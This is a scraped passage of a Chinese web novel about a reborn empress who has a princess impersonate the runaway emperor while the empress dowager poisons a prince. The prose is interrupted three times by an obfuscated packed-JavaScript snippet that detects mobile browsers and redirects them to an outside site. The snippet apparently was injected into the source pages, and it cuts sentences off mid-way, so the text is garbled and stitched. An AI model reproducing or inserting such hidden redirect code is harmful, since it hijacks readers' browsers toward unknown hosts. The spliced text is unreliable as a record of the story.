《废物新帝的忠臣皇后重生后》 3. 嫂嫂!我没有那个啊!(上) 夜。 风怒欲拔木,雨暴欲掀屋,暴雨冲刷着山间的小路,一辆华贵的马车漫无目的的行走在其中。 雨太大,打在脸上都看不清前路,文康帝连马都驾不好,还是丽娘攥着马缰驾车前行。 文康帝坐在马车里,等着丽娘,偶尔探头出来望一眼。 风大雨大,丽娘回头看他,对他笑着说:“雨大,我们找个地方休息,等醒了,我带你回家。” 文康帝突然对丽娘的“家”充满了好奇与期待。 这一夜没有追兵,他们没有逃命,没有出意外,没有碰上山滑,他们的马车,似乎在向好的方向驶去。 —— 但文康帝好了,宁月却好不了。 “皇嫂如何了?” 暴雨下的梧桐殿外间内,宁月抓着出来的御医问话。 御医也是匆匆赶来,身上都被雨水浇透了,湿淋淋的诊治过后,又湿淋淋的出来,在宫殿外间与公主道:“回公主的话,皇后娘娘寒邪入体,惊怒而晕,眼下尚未醒来,需卧榻休息七日,方可痊愈。” 宁月呆若木鸡。 之前还是神神气气的小孔雀呢,一扭头,嚯,成落汤鸡了。 也实在是怪不得宁月,皇兄跑了皇嫂病了,任凭是那位公主来了,都得在这儿呆一会儿。 —— 这一夜,风雨急啸乱事频出,皇兄出逃,皇嫂气晕,只剩下一个宁月来撑场面。 宁月赶鸭子上架般匆匆忙忙的开始着手处理,先命人来医治皇嫂,又调动金吾卫去找文康帝。 因为害怕文康帝失踪而引发动乱,宁月没敢直接提“文康帝跑了”,而是说“民妇跑了”,叫人四处去搜寻,奈何这天地广,水土宽,再加上山落暴雨,这一夜都没找到人。 宁月急的嘴里面都冒泡了! 好不容易熬到第二日早上,皇嫂醒了,雨也停了,宁月人都快晕过去了。 醒来的烟令颐先是哄了哄宁月,随后立刻开始派人去满山搜索文康帝。 但恰好山滑石流,雨后踪迹全无,这个人怎么都找不到,一连三日,这偌大一个人,就像是消失了一般。 人找不到,只能暂时对外宣扬文康帝病重,表面上糊弄一段时间。 而背地里,烟令颐和宁月都很急,烟令颐急的一圈一圈的在山里找,但就是找不到这个人,宁月急的两个晚上都没睡好,人都沧桑了几个春秋。 家不可一日无主,国不可一日无君,大晋子嗣单薄,上一辈就只有先帝与齐王两人,先帝早逝,齐王征战沙场多年,身体伤病难愈,御医说已经没有多长时日了,到了这一代就文康帝与宁月两人,连个旁支都没有,一旦皇帝消失这件事情传出去,不知道会引起多大的动荡。 而文康帝对外宣扬病重不过三日,宫里就来了信儿,太后放心不下文康帝,特意下旨,命文康帝养好身子后速速回朝,顺带命掌事姑姑给烟令颐送了一本医书,借着掌事姑姑的口,让烟令颐好生照顾文康帝。 文康帝是太后唯一的儿子,太后对文康帝十分疼爱,真是含在嘴里怕化了,捧在手心怕丢了,稍微有点风吹草动,太后都要过来问一问,很多时候,太后舍不得责备文康帝,就直接转头去责备烟令颐。 别管我儿子为什么病的,只要我儿子病了就是你这个儿媳妇没做到位,太后永远会第一个敲打烟令颐。 对于太后来说,烟令颐就是她为儿子准备的一双完美的靴子。 这双靴子一定要稳稳当当,舒舒服服的让她儿子踩一辈子才行,只要烟令颐身上有一点凸起来、不合脚的地方,太后都要第一时间拿起名为国家大义、烟家荣辱的锤子,过来亲自敲打烟令颐。 [令颐啊!] 那锤子敲下来的时候,似乎带着几分叹息。 [姑母都是为了烟家,为了你好啊。] [你若是懂些事,姑母也不会如此对你啊。] 这样的事情过去早已经上演过千百遍,烟令颐如往常一样,接过太后赏赐的医书,说定会细细研读,照顾好文康帝,待到文康帝好了,便立刻起身返回建业。 掌事姑姑这才满意离去。 宁月听了这消息,险些没当场晕过去。 皇兄只是“病”了,太后就要来敲打皇嫂,若是知道皇兄“丢”了,太后不得把皇嫂敲死啊! 宁月一想到皇嫂都因为这件事儿急晕过去了,她就替皇嫂委屈,是皇兄自己跑了,又不是皇嫂做错了事,凭什么那些坏的都落到皇嫂身上去了? 宁月心疼烟令颐心疼的要命,当夜特意去梧桐殿看烟令颐。 —— 是夜,宁月到梧桐殿的时候,发现殿内屏蔽左右,四周清冷的紧。 头顶上的枝木互相交错,叠成了一张巨大的蜘蛛网,在夜色下静静的悬着,耐心的等待着某个猎物一头撞上去。 宁月毫无察觉,绕过长廊往前走时,看见皇嫂的贴身宫女芝兰捧着一把匕首进了内殿。 宁月喊了一声,但芝兰似是没听见,快步进了殿内。 宁月随之而去,隔着一层纱帐,看见皇嫂跪坐在其中,芝兰将匕首捧递给皇嫂,颤抖着喊了一声:“娘娘。” 这一声娘娘尾音都在抖,听起来凄凉寒苦,让人顿生不妙之意。 这是要做什么? 宁月屏息探头,正看见帐内的皇嫂慢慢坐起身来。 她可以看见皇嫂劲瘦的肩背,像是一只坠在重叠金纱中的鹤,火光如水般映在纱帐上,只是她的一个影子,都带着几分浮光掠金的惊艳。 宁月刚想开口,却突然看见皇嫂接过那把匕首,作势要往脖颈上捅! “皇嫂!”宁月惊得三魂七魄都飞了,跑过去尖叫着喊:“皇嫂这是在做什么?” 纱帐翻飞,露出烟令颐的身影。 皇嫂只着纱衣,正赤足匍在地上、背对着她,薄薄的脊背虚弱的垂着,看的人心疼。 “皇嫂!”宁月双手发抖,被吓得炸毛了。 “今日掌事姑姑来此,说要见文康帝,被我挡回去了,说是已睡了,让她明日再看——但明日是无论如何都挡不会去的,待到明日,这件事儿便要暴露了。”烟令颐满目悲怆:“宁月——找不回皇上,我无颜面见太后,唯有一死了之。” 宁月心头巨震。 皇兄撂下这么大的摊子说走就走了,简直要将她的皇嫂给逼死了! 她左右为难,恨不得替皇嫂去死。 “奴婢有一个法子,能暂缓今日之困局。”正是为难之时,一旁的芝兰跪下,抬起头来,望着宁月那张天真的脸,循循善诱:“只是,需要公主相助。” 宁月简直如听天籁,忙抬头问:“什么法子?” 她完全没有感觉到皇嫂的不对之处,更没有意识到自己正在一步步的踏入到一个陷阱之中。 在宁月眼中,她的皇嫂是大晋头一号忠臣,无论如何都不会背叛皇室,背叛大晋,所以她毫无防备的问出了口。 在某种情况上来说,也确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427420|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,烟令颐从头到尾都没有背叛皇室,她永远以大晋为主。 一旁的芝兰道:“公主与文康帝如此相似,便由公主暂代文康帝几日,待到奴婢们将人寻到,再替换回来便是。” “暂代?”宁月瞪大了眼,还没来得及反驳,就听烟令颐道:“不行!” 烟令颐满面心疼:“宁月如何能做得了这样骗人的事儿?不若我就这么死了,将一切交代了去,免得连累宁月。” 一旁的芝兰也磕头,呜呜咽咽的哭:“皇后死了,奴婢也不活了。” 一时之间,整个梧桐殿内都塞满了哀切悲怆之意,宁月的鼻腔里像是被人塞了酸杏子,涩涩的,马上要流下泪来。 “皇嫂。”宁月跟着她一起跪坐在地上,拿袖子擦了一把眼泪,像是一只被雨水淋湿的小猫,抽抽噎噎的哭着说:“皇嫂,你别死,我来冒充哥哥,让我来试试。” 哭红了鼻子的小公主看着可怜可爱,哭着哭着还打了个嗝儿,鬓角的发丝落下来,随着她的动作一点点颤。 而一旁满脸悲意的烟令颐却已经渐渐收了表情,她的脸还是那张脸,人还是这个人,可是眼底只有一片幽暗的冷意。 片刻后,烟令颐抬起眼眸,用一种爱怜的目光望着宁月,后抬起手,轻轻地捋过宁月的发丝,替她别入耳后。 “好妹妹。”烟令颐叹息着,道:“相信嫂嫂,很快就好了。” 上辈子文康帝用宁月公主替死,这辈子,烟令颐就真的用宁月公主替了他的一切,一饮一啄皆是天定,上辈子的债,这辈子该还了。 女人怎么了?女人也能当皇帝,当的还比文康帝好! 文康帝不是要自由吗?不是要爱情吗?她都给他,他们俩相爱,那也算是为民除害了! 而文康帝厌弃的皇位,责任,权柄,她一概接收。 她倒要看看,没了文康帝,这个国家在她手里能不能倒。 按照上辈子的轨迹,摄政王活不过这个月,而在摄政王死后的三月后,太后也病重逝世,自太后死后,文康帝就一直声色犬马,朝堂后宫基本都是烟令颐在管。 这一辈子,只要熬过这三月,剩下的就都不足为惧。 于她而言,皇帝不过是礼制上的符号,是朝堂□□的棋子,只要她是皇后,只要那枚象征着无上权柄的玉玺稳稳握在掌心,她便能让这万里江山国泰民安,至于龙椅上坐着的是谁——是垂拱而治的傀儡,还是空有虚名的摆设,还是一个披着男人皮囊的女人,都不重要。 她不打算将权势再交给任何一个人,她确信,没有另外一个人会比她做得更好,既然如此,为什么不能是她呢? 血热的躯壳生出无尽的野心,这一夜,烟令颐在梧桐殿织了一片罗网,准备倒扣整个大晋。 上辈子扶别人扶不起来,这辈子,她打算扶一扶自己。 嗯——当然了,宁月本人并不知晓啦。 她年岁还小,虽说娇蛮爱美了些,但胆量可不大,被皇嫂吓得一直哭,扑在皇嫂怀里,被皇嫂撸着脑袋哄。 被皇嫂撸脑袋很舒服,后脊梁酥酥麻麻的,脑袋也渐渐昏沉,她窝在皇嫂的膝盖上,渐渐地睡了过去。 小姑娘脸蛋肉肉的,睡着了之后微微鼓起来一小块,半凌乱的发鬓垂散在脸颊旁边,看上去人畜无害。 烟令颐温柔的抚过她的面颊,像是在看宁月,又像是在看大晋的玉玺。 一无所知、从不伤人的宁月,就这样成了烟令颐手中最锋利的那把刀。 4. 嫂嫂!我没有那个呀(下) 这一夜,宁月睡得很香,直到次日清晨才醒。 她醒来时,人已经躺到了罗帐里。 天色已经大亮,后厢房的窗户开着,她一眼望过去,正看见鸟向檐上飞,云从窗里出,皇嫂正坐在床榻不远处的镜前梳妆,清晨的光芒照在皇嫂的身上,宁月总觉得,皇嫂身上像是焕发出了一种生机。 勃勃的往上生长,每时每刻都在壮大。 见她醒了,皇嫂回过头来看她,笑着说道:“皇上起身了?” “嗯?”宁月被叫的一个激灵,懵懵的看了皇嫂一会儿,想起来了。 她要扮演哥哥来着。 “一会儿掌事姑姑便来给皇上请安了。”烟令颐道:“皇上早些穿衣吧。” 掌事姑姑是太后那头的心腹,得知皇上病重,特意替太后来走一遭,昨日没见到人,今日定要见一见才行。 说话间,芝兰走上前,开始替宁月打扮。 眉眼修一修,唇色改一改,便几乎一模一样,声量的话,宁月假装风寒未愈,粗着嗓门说话,也能蒙混过关。 宁月与文康帝一母同胞,时年都是十六,身子单薄抽条,身形颇为相似,宁月只比文康帝矮上一线,垫一垫鞋垫便可。 收拾的时候,宁月心中难免紧张,与皇嫂攀谈:“我,我成了哥哥,那我呢?” 宁月公主呢? “臣妾命人去替了公主,对外只说公主花粉过敏,伤了脸,覆薄纱。”烟令颐起身道:“皇上不必操心。” 宁月松了口气。 皇嫂真靠谱! 说话间,芝兰拿来亵裤给宁月穿。 男人的亵裤与女人有些不同,宁月不知道想到了什么,突然间惊恐万分,道:“嫂嫂!我没有啊!” 这以后怎么应付后宫女人啊? 宁月突然觉得,她日后的生活恐怕不像是之前想的那么简单。 而烟令颐有备而来:“嫂嫂给你塞一个。” 她从一旁拎出来个事物,宁月细细一瞧,是一个新鲜的水萝卜,表皮鲜嫩嫩的,看上去一掐就能掐出来个月牙印的那种。 萝卜较为粗的上方用绳子绑的严严实实的,绳子一甩,萝卜就跟着晃悠。 只要绑在腰上,就跟男的差不多了。 “哎?” 等等嫂嫂我其实不是这个意思! “哎?!” 这什么玩意儿萝卜不是吃的吗嫂嫂我如何正视萝卜啊! “哎!!!” 等一下嫂嫂我也不是我哥咱们俩也不至于这么坦诚你也不必亲自上手吧! “嫂——嫂——啊!” 在这一个飘满荷露香气的清晨里,骄纵可爱的小公主长出了第三条腿。 有这么小吗!话本上不是这样说的啊! 从女人变成男人这个过程实在是不太美妙,宁月整个人都虚脱了,她觉得她浑身的精气都被这么个玩意儿给吸走了。 遭受了重大打击的小公主根本起不来身,虚弱的躺在床上,总觉得自己一抬腿,身上那个不属于自己的地方就开始左右摇晃。 这对劲儿吗?怎么还会动啊! 这小玩意儿在裤子里来来回回的摩擦,感觉好奇怪,宁月浑身都不舒坦,往床上一躺,动都没法动,这样儿倒是跟重病挺像的。 她躺了不过片刻,掌事姑姑便在外面求见。 烟令颐唤掌事姑姑进来,随后与掌事姑姑言谈,关键时刻,床榻上的宁月掀开纱帐露一露面,外头的姑姑瞧见“文康帝”行动自如,便放心了。 说话间,掌事姑姑又道:“娘娘,太后听闻皇上病重,惦念的紧,皇上身子骨若是好了,便早些回朝吧。” 烟令颐早有预料。 太后对她这唯一的儿子太过溺爱,爱到有点不分轻重缓急,只要文康帝有一点事儿,太后都要仔仔细细的问一遍。 上辈子,烟令颐怕被太后责罚,所以死死摁住了山里发生的一切事,包括自己受伤的事儿,也尽量简化丽美人的存在,让太后接受,但这辈子,烟令颐为了哄宁月上船,在其中推波助澜、稍作文章,没有完全隐瞒住这件事,所以叫太后听到了风声,导致他们祈福中断。 “应当。”烟令颐点头,道:“我们明日便回朝。” 对于烟令颐与宁月的磨难,现在才刚刚开始。 宁月对前路毫无预兆,完全是跟在皇嫂身后走一步看一步,但烟令颐却好像已经看见了日后的万里江山。 她挺起胸膛,一步一步向其走去。 三灵山只是一个开始,建业才是她真正的战场。 —— 次日一大早,在山中祈福的众人陆续收拾行装,带着假皇上离了三灵山。 假皇上走了,那真皇上去了哪里呢? 真皇帝跟着丽娘去了丽娘的家。 丽娘的家是个很普通的小村庄,此处远离人烟,仅十来户人家,相处颇为自在和谐,夏季山中多雨露,茅庐眠听雨,梦里长青苔。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427421|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这是季明山第一次脱离朝堂。 没有烦人的公务,没有严苛的规矩,没有华美的牢笼,他想做什么就做什么,没有人会因为他不想看公文而指责他,没有人会因为他一句话说不对而训斥他,没有繁琐的规矩,什么都没有,只有连绵的山与蜿蜒的河。 当人站在高山上,被风吹起发丝时,他感受到了前所未有的自由。 他很舒服,很快乐,整个人像是飞起来。 丽娘和他笑,跟他约定好要一生一世待在这个地方,拉着他奔向家乡。 季明山跟着丽娘一起跑过去。 他本来该很快乐的,但不知道为什么,在他真的确定自己离开了朝堂之后,又莫名的有一丝古怪的不舍。 其实他也不是生来爱玩儿,他只是一直在用一种方式来反抗太后和皇后对他的压迫,这些人总是规训他,让他乖顺,他偏不顺从,以前是用沉迷享乐来反抗,现在,是用丽娘来反抗。 一个至死不渝的爱人给他枯燥的生活制造了更多的新奇感,丽娘的出现将他这种反抗拉到了最高潮,但当他真的反抗成功、脱离一切的时候,他又忍不住回头看一眼。 他真的要放弃过去的一切吗?那些东西好像也没有那么不好吧? 这念头只是冒出来一瞬,就被丽娘的笑声打断了。 季明山又回头看丽娘,瞧着丽娘的侧脸,他也笑了。 他才不会后悔呢,当皇帝一点都不快乐,他要自由的爱。 季明山欢快的跟着丽娘一起奔向了远方,至于山间那群人——他跑了这件事儿,传到烟令颐的耳朵里,说不准能把烟令颐吓哭了呢!烟令颐一定会在这山里疯狂的找他的,一想到烟令颐现在可能会慌到整夜睡不着觉,满山乱翻他的身影,他就觉得好笑。 哈哈,让他们继续在这山间灰头土脸的找吧! 而此时的烟令颐又在干什么呢? —— 烟令颐也有大事儿要办,在离山之前的这一夜,烟令颐将芝兰召进密处,给了芝兰一个最要紧的任务。 之前在三灵山时,同处的人实在是太多,她不好将身边最要紧的芝兰在关键时刻派走,容易惹人眼球,只有等到所有人离开之后,她才能派芝兰去。 她既然要[公主换皇帝],那就要保证原来这个皇帝永远不出现。 什么人会永远不出现? “死人。”烟令颐握紧芝兰的手,与她一字一顿道:“旁人我都信不过,唯有你,芝兰。” 5.端庄乖巧的小公主长出了第三条腿 “若是文康帝愿意一辈子留在乡野间,那就让他留下,若是他不甘于此,想要回到朝堂,揭露身份,那就杀了他。” 这是烟令颐给文康帝的路。 上辈子,他总说是太后和烟令颐毁了他的一生,让他一辈子困在皇位上,痛不欲生,那这辈子,烟令颐就放他去自由。 但他若是后悔,还想回来,那烟令颐就要送他去死了。 不能什么好事儿都让他占了! 芝兰铿锵有力的点头:“奴婢愿为主子赴死。” 她是主子手中最忠诚的剑,无论主子要她做什么,她都会完成。 烛火盈盈,照着烟令颐眼底里熊熊燃烧的野心。 既然要走,那就走的再彻底一点吧,我的皇上,大晋万里江山,你就放心的留给我吧——不放心也没关系,芝兰会帮你放好的。 烟令颐与芝兰道别后开始收拾旧物,准备带着她的萝卜公主离开三灵山。 —— 离了三灵山,回建业的路要走十五个时辰左右,大概一日更多一些。 此次仆从过千,马车百辆,最前头仪仗开路,然后是金吾卫随行,在队伍正中央,走着一架登云轿。 登云轿是皇室行远途专用的轿子,轿子极大,足有一屋大小,其中内外间、浴房、茶室一应俱全,足需百人抬,与其说是轿子,不如说是一座移动的房屋,轿下年轻力壮的太监们一排排的站好,抬上半个时辰就要换人,接替着向前行进。 登云轿不停不休十五个时辰,便可回到建业城内。 下头的太监累的腿打抖,上面的主子却如在家宅,想干什么就干什么。 之前这登云轿从建邺城去往三灵山的路途中一直都是载歌载舞的,文康帝不喜清净,唯爱美人,轿上宫女跳了一路,但回建业的路程倒是十分安宁,里面的主子从头至尾一个宫女没叫过,只有皇后陪同。 一些碎嘴的小太监就在抬轿子的功夫凑到一起念叨:“定是皇后压着皇上,不让皇上享乐歌舞。” 旁的太监的声音更低了:“之前金吾卫一直在山里搜人,听说是皇上新找的那个小美人儿丢了,所以皇上才忧思成疾。” 这些细碎的闲话儿转瞬间就被风吹散了,而真相被掩盖在了层层锦缎之中,任凭谁都探查不到。 —— 建业六月上旬,夏。 文康帝在三灵山祈福时风邪入体、已起身回朝的消息穿过三灵山,一路飘回了建业,后又顺着建业城门,一路直奔皇城而去。 八百里送信的太监出示令牌,经过城门口金吾卫的搜身检查后入皇城。 皇城宽广,地面上铺着齐整长石,入城通道两侧由金吾卫把守,进皇城后,远远可见一巍峨大殿,正是皇上上朝时的金銮殿,绕过殿后,便是后宫。 晋国的后宫很干净,没几个活人。 先帝去得早,当初先帝那一批后妃都被烟太后拉去殉葬了,那些儿子们没熬到有封地的岁数,病故的病故,失踪的失踪,一个没活下来,很长一段时间,后宫就像是一座巨大的坟茔。 再后来,到了文康帝开枝散叶的岁数,烟太后亲自为文康帝挑选后宫。 烟太后手段狠辣,从不曾让不干不净的女人进皇城,眼下文康帝后宫的女人每一个都是老老实实,谁都不敢出挑。 太监带着消息经过金銮殿,入了后宫,后行千步,终于到了仁寿宫,在仁寿宫门口求见太后。 两刻钟后,有宫女引太监入仁寿宫。 仁寿宫坐落在皇城最中心,宫深殿远,藏在一片朱色长廊之内,仁寿宫在先朝时就是太后的寝宫,十几年不曾修缮,只要一走进这里,就能嗅到淡淡的腐朽气息。 行在廊下的宫女谨慎小心的低着头,沿着宫墙根,带着小太监行至殿外檐下通禀,片刻后,小太监被引入前殿。 前殿紧闭门窗,半点光线都透不进来,其中点着重重檀香,一线香雾顶上殿梁后缓缓逸散,厚厚的冰缸在角落里摆了一排,冷意逼人。 岁数大些的嬷嬷在一旁站着伺候,前殿台阶最上方摆着一张长椅,其上坐着一道身影。 对方穿着一身深石榴红的长袍,发鬓半白,身形干瘪佝偻,脸皮老垂,目光略有些浑浊,身上裹着沉沉的暮气,宽大袖袍下露出来的手指隐约可见一些老年斑。 重金雍翠的首饰压着她,像是随时都要将她压的倒下去,但她偏靠一口气撑着,怎么都不倒。 正是年过五十的烟太后。 小太监跪拜到地,细细将掌事姑姑的话传递给太后。 “启禀太后,掌事姑姑说,皇上无碍。” “据说皇上重病,是与一女子有关。” “听说这女子是皇上在乡野中寻来,因不愿受皇后管辖,便从中逃离,至今不曾寻到。” “皇上因此与皇后大吵一架,随后风寒入体病重。” 听那掌事姑姑传回来的意思,好像皇上这场病全然是皇后的错似得。 小太监的话说完了,坐在龙椅上的太后也没什么反应,小太监壮着胆子抬眸偷看了一眼,正看见太后神色冰冷的抬了抬下颌。 “下去。”一旁的嬷嬷对小太监道。 小太监匆忙下去。 嬷嬷则在一旁小心的替烟令颐开脱,只道:“皇后想来也是为了皇上着想。” 坐在长椅上的太后似乎并不曾在意自己儿子和儿媳妇的这点冲突,只淡淡的问了一句:“今日的药,送到承明殿了吗?” 承明殿,是齐王的宫殿,因齐王病重,所以太后在皇城中特设一殿,使齐王在皇城中休养,日日命御医亲奉药汤。 旁人听了都以为这是太后对齐王的嘉奖,但一旁的心腹嬷嬷听了这话,却只觉得后背发寒,这殿里的寒气像是一条蛇,蜿蜒着缠绕脖颈。 嬷嬷忙低下头去,道:“今日的药还正在熬,奴婢这便催人送去。” 说话间,心腹嬷嬷向后退去,离开宫殿前,她连头都不敢抬,只等出了殿后,她低垂着的肩颈才敢抬起来。 廊檐外正夏。 翠木长阴绿已密,微风过檐抚裙衫,头顶上的日头落到身上,带来暖洋洋的气息,嬷嬷这才有了在人世间行走的感觉。 穿过廊檐时,后厨正见小太监提着圆盘八宝药盒踏出后厨,心腹嬷嬷拦着问了一句“可是齐王的药”,得到确切回应后,心腹嬷嬷才放下心来,后又叮嘱:“快些送去。” 小太监“哎”了一声,提着手里的药盒,直奔承明殿而去。 —— 承明殿位置偏西,少有人烟,殿内不曾栽种什么团花簇锦,而是种了大片大片的雾松木。 雾松木高而耐寒,其叶如针、色泽浓翠,无论冬夏,都浓浓翠翠的绿着。 绿阴生昼静,鸟鸣殿更幽,穿过一条条长长的宫道。 齐王季横戈,性子冷漠端肃,不爱与人打交道,常独坐于机关木椅之上,在树下看书。 小太监今日到殿内时依旧如此。 由齐王侍卫带领走在长廊时,远远便可以看见齐王坐在一片青翠松木下的身影。 小太监一步步走过去,曲廊弯折角度转换间,看见了齐王的整张面。 松间看君,身如玉树、眉丽锋艳。 大晋皇族的男人们都带着几分秀美,齐王也不例外,他一双桃花眼生的极为潋滟,较之寻常女子更胜三分,但他面骨坚硬,又横添了几分男人的悍意,两相一杂糅,拼凑出了一个英俊挺拔,却又透着几分瑰丽的男人。 像是把镶缀宝石的利刃,金贵华美,锐艳逼人。 但这么好个人,却偏偏坐在机关椅上,难以自行。 远远瞧见齐王的时候,小太监心道一句“可惜”。 宫里的人都知道,齐王病了很久了。 自从去岁与北沼国打过一回后,齐王的双腿就废了,再难行动,身子也每况愈下,御医说是一日不日一日,估摸着,齐王过不去这个六月了。 可怜了,连妻都没娶过。 小太监腹诽时,侍卫已经将药接过去,一路端送到齐王面前,齐王放下手中书本,端起来饮用。 齐王用药时,小太监眼睛一瞬不瞬的盯着看。 太后关切齐王身子,每每用药都要细细查询,他们这些在下面干活儿的人也得看仔细些。 一碗药用过后,这空药碗又由着侍卫端回,送到小太监,塞来些银子,又道:“劳烦公公特意跑来一趟。” 小太监接过空碗后,行礼道:“都是太后娘娘的恩典,小的不敢居功。” 几番客气后,小太监从此离开。 等到小太监离去之后,侍卫才重新回到齐王身后,变花样似得从宽大的袖袍底下掏出来一只碗来,其中躺着满满的药汁。 显然,方才小太监那碗药并不曾入齐王的口。 侍卫将这药倒入一旁的雾松木树下,轻轻地念了一声:“王爷,树已枯了第三颗。” 机关椅上的季横戈神色冷淡,隐隐可见几分倦意。 太后给的药,季横戈最开始吃过一碗,吃完当夜险些没归西,后来就再也不吃了,只喂给那院中的树。 树不说话,就静静的枯死,如同季横戈的心。 他的身子骨早就不大好了,去岁在北沼一战中了蛊毒,双腿尽废,难以驭力,本就是苟延残喘,说不定过几日就死了。 但太后连几日都等不了,药送的越来越勤,想来是生怕他熬过这一劫。 朝中的那些外人常言太后关爱季横戈这位血亲王爷,但实际上,季横戈清楚,太后巴不得他死在北沼那一场战争中。 可他没死,他还活着回来了,太后只能亲自送他去死。 缘由——不过是因为他也姓季,也沾了一个“皇”字,太后生怕他抢了季明山的皇位。 以前太后身子骨还硬朗时,不曾对他下手,但现在,太后自己油尽灯枯了,怕她死了,季明山压不住季横戈,所以打算在她死之前,把季横戈带走。 季横戈瞧着那枯死的树,觉得十分可笑。 他与先帝之间是真切的兄弟情义,所以也将太后当成亲嫂来看,先帝死后,他几经生死从不曾有半点怨言,横戈横戈,一年三百六十日,具是横戈马上行,他为大晋拼了半条命,废了一双腿,最后竟然落了个这样的下场。 太后这个人,至极薄情,重权寡恩,不相信任何人,只一股脑的把所有好东西都留给她的儿子,任何有可能对她儿子产生威胁的兜要死。 他没有死在北沼国的蛊军的利齿下,反而要死在这花团锦簇的后宫之里。 太后的猜忌像是冬日中一件湿透的衣裳,贴在他的骨肉上,越穿越冷,冷的他佝偻下身体,他的人也越来越怠,坐在轮椅上,一句话都不想说。 他只觉得,这个无趣的大晋,不值得他再停留。 夏日的烈阳从松木的间隙中落下来,在他的脸上汇成一条斑驳的光路,他静静地看着,很想重新站起来,从这里飞出去,飞回到北沼国的边境,和他死去的战友们一起,把血肉融入到稀烂的泥淖里,结束这不值得的一生。 “王爷。”一旁的侍卫没能看出王爷身上萦绕的淡淡死意,还在忧虑王爷的生路,问道:“太后时日无多,临死前的反扑最为骇人,我等不能再坐以待毙了。” 太后几次下毒,王爷都躲避过去,眼见着王爷一直不死,太后已经急了。 前些时日,太后甚至还借口祈福,将一儿一女和儿媳全都送走,可见太后是下了狠心。若是还毒不死季横戈,太后说不准要下点别的手段。 “安排下去吧。”季横戈向后昂头,瞧着头顶上这一片天,道:“找个替死鬼。” 他可以死,但不是死在皇城中。 太后想让他死,那他就“死”给太后看。 齐王死在这里,这天底下,再也没有季横戈,这大晋江山,与他再也没有任何干系。 侍卫低头应是。 就在这几日,运一个替死鬼进宫,随后他从建业中死遁离开,本是齐王的计划,但计划走到一半,突然出了一点岔子。 本该在三灵山祈福的文康帝带着菩萨赐的符突然折返。 据说,文康帝为了给齐王祈福,不分昼夜在菩萨前连跪了三天三夜,跪出了风寒也不肯离开祈福殿,而菩萨有感于帝王心诚,特赐平安符一枚,文康帝当即决定连夜启程回建业,就算是惹了风寒,也连夜从山间折返,就为了将这平安符递送给齐王。 这消息回到建业的时候,齐王沉默了许久。 别说齐王了,就连太后都要召皇上来问问。 你俩有这么熟吗? —— 是日,仁寿宫。 文康帝回宫后,甚至都不曾回殿休息,便被单独召见进仁寿宫。 这一日,夏日正炎。 头顶上的烈阳灼烧着“文康帝”的后背,走过千百次的宫道突然变得极陌生,似乎都不知道怎么走了,永宁顶着皇兄的皮,笨拙的跟在宫女身后,每一步几乎都能听见自己的心跳声。 临近殿前,殿内的冷冰气呼的扑到身上,几乎给永宁带来一阵寒意,她慢慢跨进门槛内,走进前殿内。 烟太后高坐椅上,她的眉眼永远半阖着,像是闭目养神,又似是已经被岁月掏空了身体,变成了干瘪的雕塑,满殿的冰冷气凝固住了她的□□,将她强行留在此处。 但当她看到文康帝的时候,她凝固的身体渐渐化冻,眉眼中又生出光彩来,笑吟吟的看着她的儿子。 烟太后很老了,老眼昏花,看什么东西都模糊了,她坐在这里,只是强撑着一口气儿而已,当初烟令颐都分不出来的人,现在烟太后更分不出来。 当然,也可能是烟太后没有往那方面去想,所以忽略了一些细节,毕竟烟令颐干的事儿胆大包天,任谁都够呛能想到。 总之,烟太后如往常一样,命文康帝过来坐下,与文康帝细细说话。 宁月一步步挪过去,与母后回话。 太后问文康帝为什么要送符给齐王,永宁便回:“皇叔为朝堂鞠躬尽瘁,儿臣想为皇叔做点事。” 文康帝跟齐王确实不太熟,但也确实是叔侄,是君臣,如果不考虑齐王可能会谋反这件事儿的话,那文康帝确实应该对齐王百般照看。 瞧着倒是像模像样的。 太后怜爱的看着她的儿子,心想,她的儿果真善良,之前那些胡闹,也不过是耍小孩子脾气罢了。 而宁月也在心里想,果然如皇嫂所说,母后问的也就是那么几句,她哄母后两句,母后就不会生疑。 只是,烟太后依旧不放心文康帝与齐王见面。 齐王尚武,手下雄兵极多,在朝中武将内一呼百应,若不是废了腿,烟太后也不敢对其下手,眼见着几次投毒这人都不死,烟太后也已有些不安。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432973|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她想,齐王会不会在韬光养晦? 齐王的腿是不是假装的? 她死之后,齐王会不会立刻谋反? 一想到齐王屠戮北沼的事,烟太后就觉得后脊生寒。 齐王必须死,否则她儿江山难固。 最关键的是,文康帝不知道太后给齐王投毒。 她的儿子年岁还小,经不得这些,所以烟太后从不曾提,只打算自己在死前为儿子铲平最后一块挡路石。 烟太后正想找个理由推拒了去,就听文康帝道:“儿臣带着皇后一起去见皇叔。” 